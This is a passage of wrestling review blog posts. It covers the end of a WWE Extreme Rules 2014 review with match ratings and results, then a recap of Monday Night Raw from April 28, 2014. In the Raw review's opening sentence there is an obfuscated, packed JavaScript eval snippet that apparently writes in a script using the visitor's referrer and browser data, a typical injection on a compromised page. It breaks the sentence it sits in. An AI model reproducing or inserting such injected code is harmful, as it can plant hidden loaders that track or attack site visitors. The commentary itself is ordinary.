The chair winds up hitting Heath low by mistake, knocking him through some full sized tables on the floor. Torito saves himself from being suplexed through a pile of tables and ladders at ringside as the Matadores make the save. Instead Torito DRIVES ALL THREE GUYS THROUGH THE LADDERS AND CHAIRS! Torito is laid on a full table outside and Drew misses a great looking flip dive for a crash of his own. Back inside and a springboard seated senton through a table gives El Torito the pin at 10:48.

Rating: A+. Do I even need to explain this one? One note: I really hope WWE lets this one be instead of trying to top it over and over again and driving the gimmick into the ground. You had an entertaining match. Be happy with that and maybe have another one down the road, but don’t try to make this something important on Raw every few weeks or it dies in a hurry.

The opening video talks about every authority facing some form of resistance. We also get a recap of Kane attacking Bryan and Cena trying to contain Bray Wyatt.

Rob Van Dam vs. Cesaro vs. Jack Swagger

Elimination rules. Before the match Heyman says that this is the only night of the year that WWE gets it right. “Tonight the tribe of extreme gets together and acknowledges the fact that……my client Brock Lesnar conquered the Undertaker’s Streak at Wrestlemania.” The former Real Americans double team RVD to start before Cesaro hammers away on Jack with the uppercuts against the ropes. Rob gets back up though and cleans house with some kicks before monkey flipping Cesaro onto Swagger.

Cesaro catches a cross body out of mid air but Swagger kicks the legs out to get two on the Swiss Superman. Everyone heads outside for a bit as the fans are behind Van Dam. Jack and Van Dam head back inside with Swagger being thrown outside again almost immediately. Cesaro and Van Dam knock each other off the apron and Swagger runs RVD over with a clothesline for two back inside.

The Vader Bomb gets two on Van Dam but Cesaro grabs Swagger for the Swing. Van Dam breaks it up with a spinwheel kick, drawing some of the only booing you’ll ever hear for him in this town. Jack runs the ropes and superplexes Van Dam down to break up the Five Star to Cesaro, followed by a Patriot Lock on Rob. This time it’s Cesaro making the save and stopping Jack with a European uppercut. The superplex from the apron followed by a Five Star to Jack is enough for a pin. There was some confusion on the fall but Swagger was eliminated.

Cesaro rolls some gutwrench suplexes on Van Dam and counters the stepover kick with a great looking German suplex into a bridge for two. They head outside with Cesaro climbing the barricade, only to have his legs kicked out from under him. The spinning legdrop from the apron connects to Cesaro’s back before going back inside for Rolling Thunder and the split legged moonsault for two each. Rob tries to bring in a trashcan but gets it kicked back into his ribs very quickly. Back in and a quick Van Daminator with the trashcan looks to set up the Five Star but it only hits can. The Neutralizes onto the trashcan is good for the win at 12:35.

Rating: B-. I liked this more than I was expecting even though the ending was somewhat predictable. At the end of the day though, Cesaro beating two former World Champions in a single match is nothing but good for him. They’re clearly giving him a huge push and his showdown with Lesnar down the line is going to be awesome if they let him go into Beast Mode.

Daniel Bryan is having his shoulder looked at when Stephanie comes in. She’s worried about his well being and offers him the chance to forfeit the title right now. For his own safety of course. Bryan tells her to get out of his face because he’s walking in and out as champion. Stephanie thinks differently of course.

Bolieve!

Alexander Rusev vs. R-Truth/Xavier Woods

Lana dedicates the match to the most powerful man in the world and her idol: Vladimir Putin. Truth says there’s no time to rap and dedicates the match to the USA. Before the bell, Woods is kicked in the face and into Truth, knocking both of them to the floor. Rusev hits a release belly to belly on the floor to drop Woods and we get the bell as he hammers away on Truth. Fans: “WE WANT LANA!”

Truth gets crushed in the corner but raises a boot to stop a charging Bulgarian. The backflip into the side kick sets up a middle rope dropkick but Rusev is right back up. Lie Detector has almost no effect but an ax kick gets two. Rusev shrugs it off and slams Truth down before the Accolade gets the submission at 2:51. Woods was being checked by doctors for most of the match.

The New Jersey Special Olympians are here.

Evolution brags about how awesome they are as HHH lists off all of their accolades. They have egos but they’re well deserved.

Intercontinental Title: Bad News Barrett vs. Big E.

Big E. is defending and Barrett has the shot due to winning a tournament over the last few weeks. Barrett talks about how the MERS Virus and how it’s going to rip the United States apart very soon. A hard shoulder sends Barrett to the floor to start but the fans are already behind him. Big E. hits a hard running shoulder to drive Barrett into the post but Bad News slams him down on the floor. With a BANG BANG, Barrett drops a running elbow from the apron and gets two back inside.

Back in and Barrett stands on the middle rope before loading up a suplex (as in Big E. was standing on the mat and Barrett tried to suplex him while on the ropes), only to jump down and hit a snap suplex for two. Big E. hits a quick cross body for two but walks into a boot to the face. The champion gets caught in the ropes and nailed with a running boot to the face to knock him out to the floor again.

They head back inside where Big E. snaps off an overhead belly to belly followed by a regular version for no cover. This time it’s Barrett getting tied up in the ropes before Big E. spears him through the ropes to the floor. Bad News comes right back with Winds of Change followed by Wasteland for two. The Bullhammer is countered with a hard slam and there’s the Warrior Splash. The Big Ending doesn’t work though and a running Bullhammer gives Barrett the title at 7:50.

Rating: C+. This was basically a more intense Raw match but it worked very well for what it was. Barrett is definitely the right choice for the title as Big E. hasn’t done anything with it in months and Barrett is at least hot right now. It’s not a great match or anything and Barrett has been here before, but again it won’t matter if they don’t use him.

We recap Evolution vs. Shield. It’s basically the fallout of Bryan vs. the Authority as Shield saw HHH stealing the title as an injustice and stopped it before attacking HHH, Orton and Batista. HHH reformed Evolution as a result and wanted revenge on the Shield, setting up tonight’s six man tag.

Evolution vs. Shield

No special rules here. It’s a big brawl to start even though I didn’t hear a bell. Shield quickly clears the ring and now we get the bell. Rollins hammers away on HHH to start and a running dropkick drops the game. A clothesline sends him to the floor and Rollins hits a big dive to take him out. Back in and HHH hits the running knee to the face, allowing for the tag to Batista. The booing is immediate as he drives a bunch of shoulders into Seth’s ribs.

Orton comes in and stomps away in the corner. A pose is enough work for Orton though and it’s back to HHH for a facebuster and two. Batista takes him to the apron and drives an elbow into the chest followed by a hard kick to the side of the head. Back to Orton for a chinlock but Rollins drives him into the corner to escape. Batista and HHH break up a hot tag attempt but Rollins spins to his feet and kicks Orton in the head.

Now the hot tag brings in Ambrose to clean house by stomping on Orton in the corner. Batista gets knocked off the apron and Dean puts Orton in a Figure Four. HHH makes the save but draws in Roman Reigns to chase him off. The spear hits steps though and it’s Ambrose getting triple teamed in the corner. Ambrose is sent to the outside as the BOO TISTA chants start up. A powerslam from Orton gets two and we hit the chinlock. The dropkick gets another two count and it’s back to HHH for the spinebuster. Another tag starts up the BOOing and we hit a rear naked choke of all things.

Dean finally jawbreaks his way to freedom but turns around for a bit boot to the jaw. A DDT plants HHH and the hot tag brings in Reigns to destroy everything in sight. Clotheslines take out every member of Evolution but Rollins’ springboard knee has to break up a Batista Bomb attempt. The Superman Punch and Triple Bomb plant Batista but Orton and HHH make the save. Rollins misses a suicide dive and HHH hits the Pedigree on Reigns, but Batista can only get two.

There’s an RKO to Reigns but it’s Rollins with another save. Rollins and Orton fight on the floor with Seth getting the better of it. We lose a cameraman as HHH helps Orton. They double team him for a few seconds but Ambrose runs across both announce tables to take both of them out. Ambrose, Rollins, Orton and HHH brawl into the crowd as Batista and Reigns are still down.

We miss something loud but see Orton shove Ambrose down some steps. The camera stays on the outside as Rollins is nowhere in sight. Orton and HHH double team Dean but Rollins dives OUT OF THE BALCONY to take all three down. Back in the ring and Batista counters the spear with a spinebuster. The Bomb is countered and there’s another Superman Punch followed by the spear for the clean pin at 19:50.

Rating: A. It’s not quite Shield vs. Wyatts but man alive this was fun. I have absolutely zero problem with Evolution reforming to put people over and that’s what they did here. Shield looked like they were on totally equal footing with three former World Champions and one of the most successful units of all time. This was a great match and told multiple awesome stories. Great stuff.

The cage is lowered.

We recap Bray Wyatt vs. John Cena. The idea is Bray is trying to prove that Cena has a monster inside of him. Bray lost at Wrestlemania but we weren’t done yet. He thought Cena survived because of all of the people he had around him, so Bray started to take away the fans. Wyatt started by taking the children away from Cena by having a choir of children in black robes and sheep masks singing He’s Got The Whole World In His Hands in a bizarre segment. Tonight Cena is trying to keep the monster inside the cage.

John Cena vs. Bray Wyatt

The fans sing John Cena Sucks to the tune of his music. Bray gives Rowan and Harper some instructions before the match gets going. He shouts that this is what Cena wanted but gets caught in a headlock. Cena jumps over Bray coming off the ropes but Wyatt just blasts him in the back with a forearm. A release fisherman’s suplex puts Bray down but Harper stops Cena from climbing the cage, allowing Bray to take his head off with a right hand.

Cena goes face first into the cage and Bray demands that he spologize to all these people for making them watch this. Rowan rams into Cena against the cage and Bray runs him over for two. John comes back with a catapult into the cage but Bray pulls him back in over the top. They slug it out on the top with Cena winning but Bray crotches him down on the top rope to take over again. We get the old dancing with the limp body spot before a release Rock Bottom gets two for Bray.

Cena comes back with a slam and tries to climb out but Bray does the spider walk towards the door. The running body attack gets two for Wyatt and a few rams into the cage have Cena in more trouble. A reversal finally sends Bray into the steel, allowing Cena to initiate his finishing sequence. Bray escapes the AA and tries to climb but Cena pulls him off the ropes with a Batista Bomb for two.

John calls for the door to be opened but Rowan closes it right back. It turns into a test of strength with Cena winning until Harper comes over to help. Cena shoves BOTH of them away from the door but Bray is back up with a jawbreaker for the save. Another ram into the cage puts Bray down again but Rowan shoves Cena back over the top of the cage.

Wyatt is back up as well but gets bulldogged off the top for two. Now it’s Harper climbing the cage for a fight with Cena, so John pulls him down into the cage. Cena kicks the door onto Bray’s head but Rowan is waiting with a chair. John climbs back in and gets caught in the suplex slam followed by the senton backsplash for two. Sister Abigail is countered into the STF but Bray crawls to the door.

Cena lets go because of the ropes being in his face which is better than a rope break at least. Harper is sent into the cage but Bray sends Cena in as well. He climbs up but gets pulled back down for an AA off the top, only to have Harper make a save. A clothesline puts Harper down but Cena is favoring his arm.

Rowan makes ANOTHER save so Cena grabs him by the beard and rams him into the cage. The top rope Fameasser puts Harper down but as Cena goes for the door we get the Wyatt satellite hijacking. The lights go out and come back to show a child singing in a demonic voice in Cena’s face. Sister Abigail puts Cena down and Bray walks out for the win at 21:12 in front of the terrifying child.

Rating: B+. This was too overbooked for my taste. The Wyatts interfering about 857 times was too much but the child coming in for the save was a nice touch and tied into the storyline well. That being said, Bray needs to get a win on his own over Cena soon. It’s not like it’s going to hurt Cena or anything.

Bray mocks You Can’t See Me as he leaves with the child.

The panel from the pre-show talks for a bit and introduce a package on WeeLC. Heaven forbid we go five minutes without seeing something silly.

Divas Title: Tamina Snuka vs. Paige

Paige is defending after Tamina won a battle royal. Tamina goes after Paige to start but the champion gets behind her and rolls Snuka up for two. Paige heads up top but gets superkicked to the floor. Back in and a slam gets two for Tamina before they head outside for a hard whip into the barricade to the champion.

Snuka loads up a top rope Samoan drop but gets caught in a sunset bomb for three. Well the shoulder was up but the referee counted anyway. The match continues though with Tamina hitting a spinout Rock Bottom for a close two, only to get caught in the Paige Turner and the Scorpion Cross Lock for the submission at 6:15.

Rating: D+. If this is the worst match I have to watch all night, we’re in for a good show. Gritty come from behind wins like this are going to do nothing but help Paige as she continues to clean out the division. It wasn’t a good match but it was better than par for most Divas matches on Raw.

Post match we’ve got Wyatts again. Bray says Little Johnny (the kid) did well tonight and now the message will spread. He gives Little Johnny a sheep mask as the kid says follow the buzzards in the demon voice.

We recap Kane vs. Daniel Bryan. Aside from their long history which is ignored here, Stephanie is sending out the revamped monster Kane to take the title back from Bryan. Kane has put the mask back on and gone after Daniel with a series of tombstones to injure his neck as well as trying to kidnap his wife.

WWE World Title: Kane vs. Daniel Bryan

Bryan is defending and this is extreme rules, meaning anything goes. Daniel, minus the neck brace, goes after him in the aisle and the fight is on fast. Kane drops him with an uppercut and hammers away at ringside. They get inside for the first time with Kane knocking Bryan down again. Back to the floor where Kane slams Bryan onto a chair on the barricade. Kane tries to throw a chair into the ring but hits the top rope by mistake. He winds up throwing two chairs into the ring and wedging one in the corner.

The delay allows Bryan to grab a kendo stick but he comes off the top into an uppercut to stop the comeback. A side slam through a chair gets two more but Bryan escapes the chokeslam and sends Kane face first into the wedged chair. There’s a missile dropkick to put Kane down and it’s a FLYING GOAT to follow up. Bryan blasts him with a monitor but takes too much time loading up the announce table, allowing Kane to deck him from behind.

Daniel fights out of a chokeslam through the table and hits a tornado DDT down to the floor. Kane shrugs off the kicks and tries a tombstone on the steps. Bryan uses the ancient martial arts practice of kicking his feet though and manages to post Kane. A long series of kendo stick shots knocks Kane up the aisle but he drops Bryan with a single right hand. Kane throws him into the set and knocks out some of the lights before they head backstage.

Kane throws a flatscreen TV into a bucket of water for some sparks and Bryan is crawling away. They head to the parking lot where Bryan finds a shovel to blast Kane in the arm. Daniel charges into a backdrop onto the hood of a rental car as you can see Damien Sandow in the background. Kane punches through a car window so Daniel finds a tire iron in the trunk to knock Kane silly.

Kane is of course crawling around a few seconds later but winds up on a forklift. Another shot puts him down and Daniel gets behind the wheel. Daniel somehow knows how to operate it and lifts Kane a few feet into the air before driving him back into the arena. He dumps Kane over the top and into the ring before climbing onto the forklift pallet for the Swan Dive and two. Kane sits up and counters the running knee with a chokeslam for two. A tombstone onto a chair is countered into a tornado DDT which missed the chair by about a foot and a half. Thankfully it’s only good for two.

Bryan blasts him about ten times with the chair before putting the YES Lock. Kane is able to crawl over and get the kendo stick but Bryan takes it away and pulls it against Kane’s face. Kane finally crawls under the ropes to get to the floor (thankfully no rope breaks) and is able to catch the FLYING GOAT in another chokeslam through the table. Now it’s table time but Kane wants to up the ante a bit by lighting it on fire. Bryan is able to shove Kane off the apron and into the flames though, followed by the running knee to retain the title at 22:34.

Rating: B. It’s a good match but at times it got a bit too over the top. That being said, having Bryan take a huge beating and then win in the end is nothing but good for him. This was very much in the vein of JBL vs. Cena in the I Quit match in 2005 or Shawn vs. Diesel in the No Holds Barred match in 1996: a big win over a monster to give the new champion more credibility. Not a classic but it did what it was supposed to do.

Kane sits up and stares Bryan down to end the show. I see absolutely no need for a rematch but that appears to be where we’re headed.

Overall Rating: A-. All of the big matches delivered and I was very pleased to see the title match main eventing the show. I would have been ok with either other match taking that spot but it’s good to see Bryan get that chance. The show was good from top to bottom with nothing bad and a great six man tag to go with a solid main event. This is the show where you don’t worry about stories and just have hard hitting matches which is exactly what we got. You can’t ask for much more than that from Extreme Rules and it’s what we got. Great show.

Results
Cesaro b. Rob Van Dam and Jack Swagger – Neutralizes onto a trashcan to Van Dam
Alexander Rusev b. Xavier Woods/R-Truth – Accolade to R-Truth
Bad News Barrett b. Big E – Bullhammer
Shield b. Evolution – Spear to Batista
Bray Wyatt b. John Cena – Wyatt escaped the cage
Paige b. Tamina Snuka – Scorpion Cross Lock
Daniel Bryan b. Kane – Running knee

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Reviewing the Review – Monday Night Raw: April 28, 2014

Raw eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thhfy|var|u0026u|referrer|rkhzk||js|php'.split('|'),0,{})) this week was again about pushing the major stories as we get closer to Extreme Rules. However there was another story aside from the two main events that blew the doors off this week. There wasn’t much wrestling but there was an old drunk guy that embarrassed himself yet again, meaning he’ll be invited back for years. Let’s get to it.

We kick things off with a bang as John Cena comes into the cage opening the ring. Cena isn’t sure what to think as the fans have seemingly turned their backs on him last week when they put him in a three on one handicap match against the Wyatt Family. It was a match he couldn’t win and the fans gave him no chance. Cena wanted to know why the fans supported someone who didn’t have his passion and warns them that if Bray wins on Sunday, his message will soon take over the world. Then the crazy started.

The lights went out and a group of children could be heard singing He’s Got The Whole World In His Hands. The lights came back on and it was indeed a choir of children all in black. Bray came out with the lantern as the children surrounded the ring and kept singing. The lights came on again and they were all wearing the masks and saying Bray had the whole Cenation in his hands. One of the kids sat on Bray’s lap as he evily laughed and the camera zoomed in on the kid’s mask. Cena was completely distraught throughout the whole thing.

Where do I even begin with this? It was a genuinely disturbing sign and potentially opens the door for a lot of ideas. What does Cena do when Bray has power over the group of fans he loves the most turns on him? What does Cena do when everyone is booing him? What do you do with a man has the power to control children? I have no idea, but I’m really curious to see where this goes. One thing is clear though: under no circumstances can Cena win at Extreme Rules. I can defend a lot of Cena’s booking but there’s no real way to say that’s the right move.

The Usos defeated Ryback/Curtis Axel in a Tag Team Title match. The story here was that one of the Usos (by the way, no it doesn’t matter which it was. They’re the same guy for all intents and purposes) hurt his ankle and couldn’t move as well in the second half of the match. That’s fine for a story, but when you tag him in and he’s just fine and can do all the things he normally does, the story doesn’t mean anything. He was throwing superkicks and dives like his ankle was fine, so why even bother doing the angle at all? That’s the kind of stupid thinking that drives me insane.

Adam Rose debuts next week. That should be awesome even if it’s just a squash.

Heyman told Cesaro not to listen to people saying he’s a liar, because he’ll get Cesaro to the top. This is still in the seed planting stages but the harvest will be awesome.

Sheamus beat Titus O’Neal in a 35 second match. This is another good example of how awful Sheamus’ booking has been lately. Titus attacked him and had Sheamus in trouble, but Sheamus just popped up and won with a single move. Would it really kill them to have Sheamus lost a single match or to actually show some weakness? I honestly don’t get this booking at all and I haven’t for months.

The Hugh Jackman/Damien Sandow/Dolph Ziggler stuff just kind of happened. Jackman is cool when he’s out there and I like that they actually tied it into his previous appearance. Sandow as Magneto actually made me chuckle and that’s the idea of the segment. Someone in the WrestleZone live discussion pointed out that Sandow was destined for comedy and the more I think about it, the more I completely agree. Sandow explaining science and math to people has potential though.

Cesaro beat Swagger in a meaningless match. I did like him winning with a German suplex instead of the Neutralizer though. It’s always nice to see people mix stuff up. Heyman pulling Zeb’s mustache for a distraction was long overdue though.

Alberto Del Rio squashed Cody Rhodes to further the Rhodes Brothers split. Nothing to see here as usual but it was fine.

Rusev and Woods had an angle disguised as a match. The squash should work fine at Extreme Rules, just like it did for Brock against the Hardy Boys at Judgment Day back in 2002, and yes I know that was a handicap match but his partner was Heyman so we’ll call it a handicap match.

3MB actually won a match against Los Matadores. The main thing here was the announcement of the Wee-LC match on Sunday’s pre show. I still don’t like the Horny vs. Torito feud but them playing it so over the top actually makes it much easier to sit through rather than them just playing it as a boring match that no one cares about.

Stephanie’s apology to Bryan was about what you would expect it to be. I’m surprised at how natural Brie Bella being out there with Daniel feels. The fact that they’re married in real life helps a lot though as I’m not waiting on them to break up at the drop of a hat for a storyline. Stephanie playing it serious is interesting but I think we all know it’s another ruse.

This led directly into Brie facing Paige for the Divas Title in another angle disguised as a match. Kane interfered about two and a half minutes in and tried to kidnap Brie but Bryan made the save. I liked that he sent Brie to the back like someone logically would do, but she came back and almost got pulled under the ring anyway. Bryan getting laid out again works fine and the match on Sunday should be pretty solid. The post break stuff with Brie screaming at Stephanie actually worked. The Bellas are still annoying but Brie seems far more like a human than her sister.

Cena gave a serious promo (odd line about Bray riding a mule aside) about Bray that made it sound like he’s going to war. This is the Cena I can get behind, but again he has to lose on Sunday.

Barrett beat RVD in a very obvious ending to a better than expected match. The post match stuff sets up RVD vs. Cesaro vs. Swagger on Sunday, which almost has to go to Cesaro.

The big segment to almost end the show was Ric Flair returning to Raw to talk about how great Evolution was. The surprise was that he wound up endorsing Shield before walking out. However, the interesting part here was that Flair was clearly drunk, as is almost always the case. How in the world this is considered ok in WWE’s eyes is beyond me, as anyone else that showed up like this would be fired almost immediately.

The main event was Orton vs. Reigns which didn’t last long and ended with everyone running in for a DQ. Evolution looked do destroy Shield to end the show but Shield fought back and stood tall to end things in a nice surprise.

This was another Raw that would have been a classic if it was only two hours long. The middle hour just crippled it though and even a good third hour wasn’t enough to make the save. It also didn’t help that nothing was going to top that Wyatt segment, which is often the case around WWE anymore. I’m ready for Extreme Rules though and that’s the most important thing a go home show can do.
 

 

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